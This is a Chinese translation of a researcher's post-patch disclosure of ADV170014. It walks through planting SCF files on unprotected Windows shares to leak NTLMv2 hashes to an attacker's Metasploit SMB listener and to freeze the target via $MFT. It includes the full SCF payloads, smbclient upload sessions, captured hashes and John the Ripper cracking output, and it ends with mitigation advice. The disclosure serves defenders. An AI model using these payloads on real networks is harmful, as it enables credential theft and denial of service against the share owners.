查看原文
其他

ADV170014 NTLM SSO 漏洞利用指南

2017-11-08 Limp 看雪学院

2017年10月,微软周二补丁日发布的补丁中有一个可选的安全补丁:ADV170014,这个补丁修复了NTLM认证机制的一个bug,恶意攻击者可以利用这个bug窃取用户密码hash并可以远程利用该漏洞让目标机器死机。


我在2017年5月24日报告了这个bug,微软官方在2017年10月18日关闭了这个bug。Microsot花了整整148天来确认检查问题。


在10月的周二补丁日之后,官方的解决方案已经发布,所以我打算公开漏洞的细节。现在就看系统管理员们会不会安装这个补丁了,如果他们的系统可以安装这个补丁的话(我们下面再聊修复的话题)。





漏洞



微软的NTLM架构有一些缺陷,这个大家都知道,窃取哈希值也不是什么新鲜事,一个渗透者攻击微软环境做的第一件事可能就是窃取哈希。


但是,这些攻击方法大多都需要用户操作或者流量拦截。而这篇博客要介绍的攻击并不需要用户进行操作,所有的事情都是在攻击端完成的,不过要成功的完成这样攻击还需要一些特定条件。





攻击场景



这种攻击需要在目标机器上有共享文件夹而且没有密码保护,这种场景在办公室、学校、医院很常见,基本上都是windows系统,可以通过共享文件来分享音乐、照片和文档。


现在假设有一个用户“juan”,他在电脑上创建了一个名为“Prueba2”的文件夹,并决定将整个文件分享给他的团队。


windows系统创建共享文件夹


现在,我们打开“Sharing”标签,修改文件夹属性,以允许共享文件并且不需要使用密码。


打开共享标签配置文件共享属性


这里我们可看到共享文件夹的路径:\\JUAN-PC\Users\juan\Desktop\prueba2,现在我们点击“Network and Sharing center”


网络和共享中心:关闭密码保护


这里我们点击“Turn off password protected sharing”(关闭网络共享)选项,这样就允许任意用户访问共享文件夹而且不需要认证。





SCF 文件



微软从Windows 3.11开始引入了SCF文件。SCF文件是一些纯文本文件,可以让Windows文件浏览器来执行一些基本的任务。


其实已经有一些基于SCF文件的攻击了,但是这些攻击都需要用户操作来执行SCF文件。


来看看两个最近的例子,来自Defense Code 的Bosko Stankovic发现的攻击:Stealing Windows Credentials Using Google Chrome (使用谷歌Chrome浏览器窃取Windows认证文件),以及Black Hat 2015上Jonathan Brossard和Hormazd Billimoria演示的攻击:SMB: Sharing more than just your files (SMB:共享的不仅仅是你的文件)。


一个基本的SCF文件结构就像下面这样:

[Shell]

Command=2

IconFile=\\192.168.1.101\share\test.ico

[Taskbar]

Command=ToggleDesktop


就这么简单,值得要说的一点是SCF文件是Windows很模糊的一个功能,相关的文档近乎于无。





攻击,窃取哈希值



要实施这次攻击,我们打算使用Metasploit,还有一个SCF文件,SCF文件可根据下面的代码进行创建:

root@sysadminjd:~# cat test.scf

[Shell]

Command=2

IconFile=\\192.168.1.111\share\test.ico

[Taskbar]

Command=ToggleDesktop

root@sysadminjd:~#


192.168.1.111 是我们攻击机器的ip地址,我们在这台机器上运行了Metasploit的capture/smb 模块:

root@sysadminjd:~# msfconsole -q

msf > use auxiliary/server/capture/smb

msf auxiliary(smb) > set JOHNPWFILE /tmp/smbhash.txt

JOHNPWFILE = /tmp/smbhash.txt

msf auxiliary(smb) > exploit -j

[*] Auxiliary module running as background job

 

[*] Server started.

msf auxiliary(smb)


我们将使用John the Ripper  来破解获取到的哈希值,这也是为什么我们设置了JOHNPWFILE选项,将其指向文件:/tmp/smbhash.txt,我们截获的windows哈希值将会存放到这里。


现在,“Prueba2”文件是空的(不是空的也行)。

攻击前的共享文件夹


各项准备已就位,我们将SCF文件上传到有共享文件夹,可以使用任何你喜欢的方法:OSX Finder、Windoes文件管理器,我们在这里使用smb客户端的命令行。


root@sysadminjd:~# smbclient //192.168.1.67/Users

WARNING: The "syslog" option is deprecated

Enter root's password:

OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]

smb: \> cd juan

smb: \juan\> cd Desktop\

smb: \juan\Desktop\> cd prueba2\

smb: \juan\Desktop\prueba2\> put test.scf

putting file test.scf as \juan\Desktop\prueba2\test.scf (88.9 kb/s) (average 88.9 kb/s)

smb: \juan\Desktop\prueba2\> ls

. D 0 Mon Oct 23 12:27:15 2017

.. D 0 Mon Oct 23 12:27:15 2017

.DS_Store AH 6148 Tue May 23 17:29:03 2017

test.scf A 91 Mon Oct 23 12:27:15 2017

<br>

6527487 blocks of size 4096. 4043523 blocks available

smb: \juan\Desktop\prueba2\>

root@sysadminjd:~#


现在我们将提前制作好的SCF文件上传到共享文件夹里了:



包含SCF文件的共享文件夹

现在我们的Metasploit Console会显示如下:


msf auxiliary(smb) >

[*] SMB Captured - 2017-10-23 12:27:15 -0400

NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:47894338d99abe2f08e2c693618c7323

NT_CLIENT_CHALLENGE:0101000000000000d0046aca1b4cd301d755c3756d5639d800000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:27:15 -0400

NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:e97b70559f29462e2ca221d31113b9ca

NT_CLIENT_CHALLENGE:0101000000000000a0177dca1b4cd301f59d5c5d52708e3b00000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:27:15 -0400

NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:eb8b228b739cc95a12d7e0d89d89e002

NT_CLIENT_CHALLENGE:0101000000000000620389ca1b4cd3017283fc96884767b700000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:37:09 -0400

NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:4abb0803c4afd1509bfca3bbc566ad70

NT_CLIENT_CHALLENGE:010100000000000076d7742c1d4cd30161b2c77a54bd58fe00000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:37:09 -0400

NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:5eeb82aab85e9663624aaf6500e4d8f8

NT_CLIENT_CHALLENGE:010100000000000046ea872c1d4cd301c7a724adf323918c00000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:37:09 -0400

NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:55a0cb725a5a171cffdccea36fdcd934

NT_CLIENT_CHALLENGE:010100000000000054118f2c1d4cd301f718b1ba2d4efc7800000000020000000000000000000000

<br>

As you see see, a single upload can trigger several authentication requests, so no need to worry about that.

Now that we have the hashes on our attacking machine, we can use John to try to get the plain text.

root@sysadminjd:~# cd /tmp/

root@sysadminjd:/tmp# john smbhash.txt_netntlmv2

Using default input encoding: UTF-8

Rules/masks using ISO-8859-1

Loaded 6 password hashes with 6 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])

Press 'q' or Ctrl-C to abort, almost any other key for status

abc (juan)

abc (juan)

abc (juan)

abc (juan)

abc (juan)

abc (juan)

6g 0:00:00:00 DONE 2/3 (2017-10-23 12:27) 75.86g/s 404596p/s 585124c/s 585124C/s abc

Use the "--show" option to display all of the cracked passwords reliably

Session completed

root@sysadminjd:/tmp#


正如你看到的那样,一次上传会触发几次认证请求,这个不用管。

现在我们已经得到了截获的密码哈希值了,我们可以使用John进行破解。


root@sysadminjd:~# cd /tmp/

root@sysadminjd:/tmp# john smbhash.txt_netntlmv2

Using default input encoding: UTF-8

Rules/masks using ISO-8859-1

Loaded 6 password hashes with 6 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])

Press 'q' or Ctrl-C to abort, almost any other key for status

abc (juan)

abc (juan)

abc (juan)

abc (juan)

abc (juan)

abc (juan)

6g 0:00:00:00 DONE 2/3 (2017-10-23 12:27) 75.86g/s 404596p/s 585124c/s 585124C/s abc

Use the "--show" option to display all of the cracked passwords reliably

Session completed

root@sysadminjd:/tmp#



John破解出来了哈希值,登录的用户“juan”使用了弱密码“abc”。





攻击,让目标机器死机



第二个攻击,我们可以远程让目标机器死机,来看看是怎么实现的:

我们还是需要可被攻击的共享文件夹,我们同样还需要一个SCF文件,只不过构造有点不同:


root@sysadminjd:~# cat mft.scf

[Shell]

Command=2

IconFile= c:\$MFT\123

[Taskbar]

Command=ToggleDesktop

root@sysadminjd:~#



这个SCF文件包含一个对$MFT的调用,这将会锁定NTFS文件系统,关于这个利用在这篇文章里有过讨论(不好意思,只有西班牙语的),或者你可以去网上找找关于这个利用的其它资料。


现在我们将SCF文件上传到目标机器上,(再一次使用smbclient):


root@sysadminjd:~# smbclient //192.168.1.67/Users

WARNING: The "syslog" option is deprecated

Enter root's password:

OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]

 

smb: \Z cd

 

Default\ desktop.ini juan\ Public\

 

smb: \&gt; cd juan\Desktop\prueba2\

smb: \juan\Desktop\prueba2\&gt; ls

. D 0 Wed May 24 18:08:34 2017

.. D 0 Wed May 24 18:08:34 2017

.DS_Store AH 6148 Tue May 23 17:29:03 2017

1.exe A 7168 Tue May 23 17:29:03 2017

prueba.scf A 92 Wed May 24 18:08:34 2017

 

6527487 blocks of size 4096. 4156104 blocks available

 

smb: \juan\Desktop\prueba2\&gt; put mft.scf

putting file mft.scf as \juan\Desktop\prueba2\mft.scf (17.6 kb/s) (average 17.6 kb/s


就这样,不需要攻击者或者被攻击者进行其他的操作,目标机器现在已经锁定了文件系统,然后就静静等它重启了。





受影响的版本



根据微软官方,从Windows 3.11 到Windows10 的所有版本,不管是桌面版本还是服务器版本都会受到该漏洞影响。


坦白的讲,我只在Windows 7 和 Windows 10上做了测试,然后我就把“锅”丢给微软了。





修复方法



微软发布了针对这个漏洞的补丁,修改了两项注册表键值来关闭操作系统的NTLM。然而这个注册表键只在Windows 10和Windows Server 2016上有,微软没有打算发布对其他版本的修复补丁。


另一个问题是,禁用NTLM会破坏很多环境,这是微软他们的担忧。


我的建议是,使用强密码,在攻击之后,攻击者需要破解获取的哈希值,如果密码足够复杂那么破解过程将需要大量时间,足够让攻击者放弃。

更好的方法是:不要无密码共享文件夹,这样会比较彻底些。





致谢及评论



这个漏洞已经存在很长时间了,我已经利用这个漏洞差不多一年了(当然是用在我的渗透测试项目上)。


这个漏洞如此简单,几乎任何人都可以利用,不过好的一点是,这个漏洞的成功利用需要特定的条件,而windows默认配置是不会受影响的。

我想感谢微软SRC,他们辛苦工作来修复这个漏洞,并且提供了针对这个问题的部分补丁,一个针对所有版本windows版本的补丁也是不太可能的。

这个攻击的发现还得力于来自Defense Code的Bosko Stankovic的杰出工作:Stealing Windows Credentials Using Google Chrome
以及 Jonathan Brossard/Hormazd Billimoria 在Blackhat的演讲: SMB: Sharing more than just your files 。


当然,也感谢大家阅读这篇略长的博客。

Cheers!


分割线--------------------------------------------------


根据原作者的博客简单的测试了下,第一个攻击成功了,获取了用户的密码哈希。但是第二个让服务器死机的没有复现成功。


译者测试的环境是Windows Server 2003中文版。感兴趣的小伙伴试一试在其他版本的系统能不能复现成功。


本文由看雪翻译小组 Limp 编译,来源@Sysadmin Life

转载请注明来自看雪社区

热门推荐 | 看雪学院



更多精彩文章请访问看雪论坛


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存